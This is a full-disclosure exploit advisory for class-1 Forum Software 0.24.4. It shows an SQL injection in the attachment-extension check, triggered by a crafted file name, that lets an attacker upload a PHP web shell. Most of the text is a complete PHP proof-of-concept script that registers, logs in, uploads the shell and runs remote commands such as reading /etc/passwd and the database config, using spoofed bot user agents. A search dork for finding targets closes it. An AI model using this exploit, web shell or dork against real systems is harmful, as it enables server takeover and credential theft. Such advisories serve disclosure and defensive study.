class-1 Forum Software v 0.24.4 Remote code execution
class-1 Forum Software v 0.24.4 Remote code execution
software:
site: http://www.class1web.co.uk/software
description:
class-1 Forum Software is a PHP/MySQL driven web forum. It is written and
distributed
under the GNU General Public License which means that its source is
freely-distributed
and available to the general public.
vulnerability: the way the forum check attachment extensions...
look at the vulnerable code at 256-272 lines:
...
// Get File Type
$tokens = explode(".", $upload_filename);
$image = 0;
[!] $extension = $tokens[count($tokens) - 1];
// Get File Size
$filesize = $_FILES['filename']['size'];
// Make sure file doesn't already exist
if (file_exists("$upload_folder/$upload_filename")) {
echo "<tr><td class=\"otherfields\" colspan=\"2\">The attachment already
exists in the upload folder.</td></tr>";
$upload_file = 0;
$upload_filename = "";
}
// Check filesize quota
[!] $result = forum_exec_query("SELECT * FROM $extensions_table WHERE
extension='$extension' AND file_type='Image'", $link);
if (mysql_num_rows($result)) $image = 1;
...
nothing seems so strange, but... what happen if you try to upload a file
with this name? :
shell.php.' or 'a' ='a
;)
[1] SQL INJECTION!
The query and other queries like this become:
SELECT * FROM [extensions table name] WHERE extension='' or 'a' ='a' AND
file_type='Image'
you have bypassed the check... now an executable file is uploaded, because for
Apache, both
on Windows and Linux a file with that name is an executable php file...
you can download a poc file from my site, at url:
http://rgod.altervista.org/shell.zip
inside we have:
<?php error_reporting(0); system($HTTP_GET_VARS[command]); ?>
you can do test manually, unzip the file, register, login, post this file as
attachment, then
go to this url to see the directory where the attachment has been uploaded:
http://[target]/[path]/viewattach.php
you will be redirected to:
http://[target]/[path]/[upload_dir]/
then launch commands:
http://[target]/[path]/[upload_dir]/shell.php.'%20or%20'a'%20='a?command=cat%20/etc/passwd
to see /etc/passwd file
http://[target]/[path]/[upload_dir]/shell.php.'%20or%20'a'%20='a?command=cat%20./../db_config.inc
to see database username and password
and so on...
This is my proof of concept exploit:
<?php
# 6.44 08/09/2005
#
# Class-1 Forum sql injection / remote code execution poc exploit
#
# coded by rgod -> http://rgod.altervista.org
#
# make these changes in php.ini if you have troubles
# with this script:
#
# allow_call_time_pass_reference = on
# register_globals = on
#
# this is my piece of poetry...
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
echo '<head><title>class1 remote commands execution</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css">
<!--
body,td,th {color: #00FF00;}
body {background-color: #000000;}
.Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size:
10px; }
.Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight: bold;
font-style: italic;
}
-->
</style></head>
<body>
<p class="Stile6">Class-1 Forum (possibly prior versions) remote commands
execution</p>
<p class="Stile6">a script by rgod at <a
href="http://rgod.altervista.org"
target="_blank">http://rgod.altervista.org</a></p>
<table width="84%" >
<tr>
<td width="43%">
<form name="form1" method="post"
action="'.$SERVER[PHP_SELF].'?path=value&host=value&port=value&command=value&proxy=value">
<p>
<input type="text" name="host">
<span class="Stile5">hostname (ex: www.sitename.com) </span></p>
<p>
<input type="text" name="path">
<span class="Stile5">path (ex: /class1/ or /forum/ or just /)
</span></p>
<p>
<input type="text" name="port">
<span class="Stile5">specify a port other than 80 (default value)
</span></p>
<p>
<input type="text" name="command">
<span class="Stile5">a Unix command, example: ls -la to list
directories, cat /etc/passwd to show passwd file </span></p>
<p>
<input type="text" name="proxy">
<span class="Stile5">send exploit through an HTTP proxy (ip:port)
</span></p>
<p>
<input type="submit" name="Submit" value="go!">
</p>
</form></td>
</tr>
</table>
</body>
</html>';
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".htmlentities($headeri[$li+$ki])."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td>  </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".htmlentities($headeri[$li])."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
if (($path<>'') and ($host<>'') and ($command<>''))
{
if ($port=='') {$port=80;}
#STEP 1 -> REGISTER
$anumber=rand();
$data="username=jimihendrix".$anumber."&email=jimihendrix".$anumber."@mail.com&password=jimyjimy&password2=jimyjimy&icq=&aim=&msn=&yahoo=&website=http%3A%2F%2F&location=&occupation=&interests=&signature=¬ify_private=on&post_count_per_page=10&thread_count_per_page=20&msg_count_per_page=20&date_syntax=D%2C+d+M+Y%2C+G%3Ai%3As";
if ($proxy=='')
{
$packet="POST ".$path."users.php?mode=postuser HTTP/1.1\r\n";
}
else
{
$c = preg_match_all($proxy_regex,$proxy,$is_proxy);
if ($c==0) {
echo 'check the proxy...<br>';
die;
}
else
{
$packet="POST http://".$host.$path."users.php?mode=postuser
HTTP/1.1\r\n";
}
}
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer: http://".$host.$path."users.php?mode=register\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: msnbot/1.0 (+http://search.msn.com/msnbot.htm)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: PHPSESSID=0c13584ef61f6c93ff80253670db5fd7\r\n\r\n";
$packet.=$data;
show($packet);
if ($proxy=='')
{$fp=fsockopen(gethostbyname($host),$port);}
else
{$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$fp=fsockopen($parts[0],$parts[1]);
if (!$fp) { echo 'No response from proxy...';
die;
}
}
fputs($fp,$packet);
$data='';
if ($proxy=='')
{
while (!feof($fp))
{
$data.=fgets($fp);
}
}
else
{
$data='';
while ((!feof($fp)) or
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data)))
{
$data.=fread($fp,1);
}
}
fclose($fp);
echo nl2br(htmlentities($data));
#STEP 2 -> LOGIN
$data="username=jimihendrix".$anumber."&password=jimyjimy";
if ($proxy=='')
{
$packet="POST ".$path."login.php HTTP/1.1\r\n";
}
else
{
$packet="POST http://".$host.$path."login.php HTTP/1.1\r\n";
}
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer: http://".$host.$path."users.php?mode=login\r\n";
$packet.="Accept-Language: ru\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/5.0 (compatible; Yahoo! Slurp;
http://help.yahoo.com/help/us/ysearch/slurp)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: PHPSESSID=0c13584ef61f6c93ff80253670db5fd7\r\n\r\n";
$packet.=$data;
show($packet);
if ($proxy=='')
{$fp=fsockopen(gethostbyname($host),$port);}
else
{$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$fp=fsockopen($parts[0],$parts[1]);
if (!$fp) { echo 'No response from proxy...';
die;
}
}
fputs($fp,$packet);
$data='';
if ($proxy=='')
{
while (!feof($fp))
{
$data.=fgets($fp);
}
}
else
{
$data='';
while ((!feof($fp)) or
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data)))
{
$data.=fread($fp,1);
}
}
fclose($fp);
echo nl2br(htmlentities($data));
#STEP 3 -> UPLOAD A FILE / SQL INJECTION
$data='-----------------------------7d51143b10418
Content-Disposition: form-data; name="filename"; filename="shell.php.'."' or
'a' ='a".'"
Content-Type: text/plain
<?php error_reporting(0); system($HTTP_GET_VARS[command]); ?>
-----------------------------7d51143b10418
Content-Disposition: form-data; name="description"
-----------------------------7d51143b10418
Content-Disposition: form-data; name="subject"
-----------------------------7d51143b10418
Content-Disposition: form-data; name="message"
-----------------------------7d51143b10418
Content-Disposition: form-data; name="inc_sig"
-----------------------------7d51143b10418--';
if ($proxy=='')
{
$packet="POST
".$path."viewforum.php?mode=newmessage&reply=1&id=1&forumid=1 HTTP/1.1\r\n";
}
else
{
$packet="POST
http://".$host.$path."viewforum.php?mode=newmessage&reply=1&id=1&forumid=1
HTTP/1.1\r\n";
}
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer:
http://".$host.$path."viewforum.php?mode=newmessage&reply=1&id=1&forumid=1\r\n";
$packet.="Accept-Language: fr\r\n";
$packet.="Content-Type: multipart/form-data;
boundary=---------------------------7d51143b10418\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mediapartners-Google/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: PHPSESSID=0c13584ef61f6c93ff80253670db5fd7\r\n\r\n";
$packet.=$data;
show($packet);
if ($proxy=='')
{$fp=fsockopen(gethostbyname($host),$port);}
else
{$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$fp=fsockopen($parts[0],$parts[1]);
if (!$fp) { echo 'No response from proxy...';
die;
}
}
fputs($fp,$packet);
$data='';
if ($proxy=='')
{
while (!feof($fp))
{
$data.=fgets($fp);
}
}
else
{
$data='';
while ((!feof($fp)) or
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data)))
{
$data.=fread($fp,1);
}
}
fclose($fp);
echo nl2br(htmlentities($data));
#STEP 4 -> retrieving upload directory name
if ($proxy=='')
{
$packet="GET ".$path."viewattach.php HTTP/1.1\r\n";
}
else
{
$packet="GET http://".$host.$path."viewattach.php HTTP/1.1\r\n";
}
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer:
http://".$host.$path."viewforum.php?mode=newmessage&reply=1&id=1&forumid=1\r\n";
$packet.="Accept-Language: fr\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: PHPSESSID=0c13584ef61f6c93ff80253670db5fd7\r\n\r\n";
show($packet);
if ($proxy=='')
{$fp=fsockopen(gethostbyname($host),$port);}
else
{$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$fp=fsockopen($parts[0],$parts[1]);
if (!$fp) { echo 'No response from proxy...';
die;
}
}
fputs($fp,$packet);
$data='';
if ($proxy=='')
{
while (!feof($fp))
{
$data.=fgets($fp);
}
}
else
{
$data='';
while ((!feof($fp)) or
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data)))
{
$data.=fread($fp,1);
}
}
fclose($fp);
echo nl2br(htmlentities($data));
$location=explode('location: ',$data);
$temp=$location[1];
$temp2=explode('/',$temp);
$location=$temp2[0].'/';
if ($location=='') {
echo 'Some problem to retrieve upload directory...<br>';
echo 'check this url manually... -> <a
href="http://'.$host.':'.$port.$path.'viewattach.php"
target="_blank">http://'.$host.':'.$port.$path.'viewattach.php</a><br>';
echo 'you will be redirected to upload dir...<br>';
echo 'then append this filename: '."shell.php.' or 'a'
='a".' and type commands <br>';
echo 'appending again ?command=[your command] <br>';
die;
}
echo 'Found ... checking this location -> '.htmlentities($location);
#STEP 5 -> Launching commands...
if ($proxy=='')
{
$packet="GET
".$path.$location."shell.php.'%20or%20'a'%20='a?command=".urlencode($command)."
HTTP/1.1\r\n";
}
else
{
$packet="GET
http://".$host.$path.$location."shell.php.'%20or%20'a'%20='a?command=".urlencode($command)."
HTTP/1.1\r\n";
}
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer:
http://".$host.$path."viewforum.php?mode=newmessage&reply=1&id=1&forumid=1\r\n";
$packet.="Accept-Language: fr\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: PHPSESSID=0c13584ef61f6c93ff80253670db5fd7\r\n\r\n";
show($packet);
if ($proxy=='')
{$fp=fsockopen(gethostbyname($host),$port);}
else
{$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$fp=fsockopen($parts[0],$parts[1]);
if (!$fp) { echo 'No response from proxy...';
die;
}
}
fputs($fp,$packet);
$data='';
if ($proxy=='')
{
while (!feof($fp))
{
$data.=fgets($fp);
}
}
else
{
$data='';
while (!feof($fp))
{
$data.=fread($fp,1);
}
}
fclose($fp);
echo 'If Class-1 Forum is unpatched and vulnerable, now you will see
'.htmlentities($command).' output...';
echo nl2br(htmlentities($data));
}
?>
googledork: "Powered by and copyright class-1"
rgod
site: http://rgod.altervista.org
mail: retrogod [at] aliceposta . it
original advisory: http://www.rgod.altervista.org/class1.html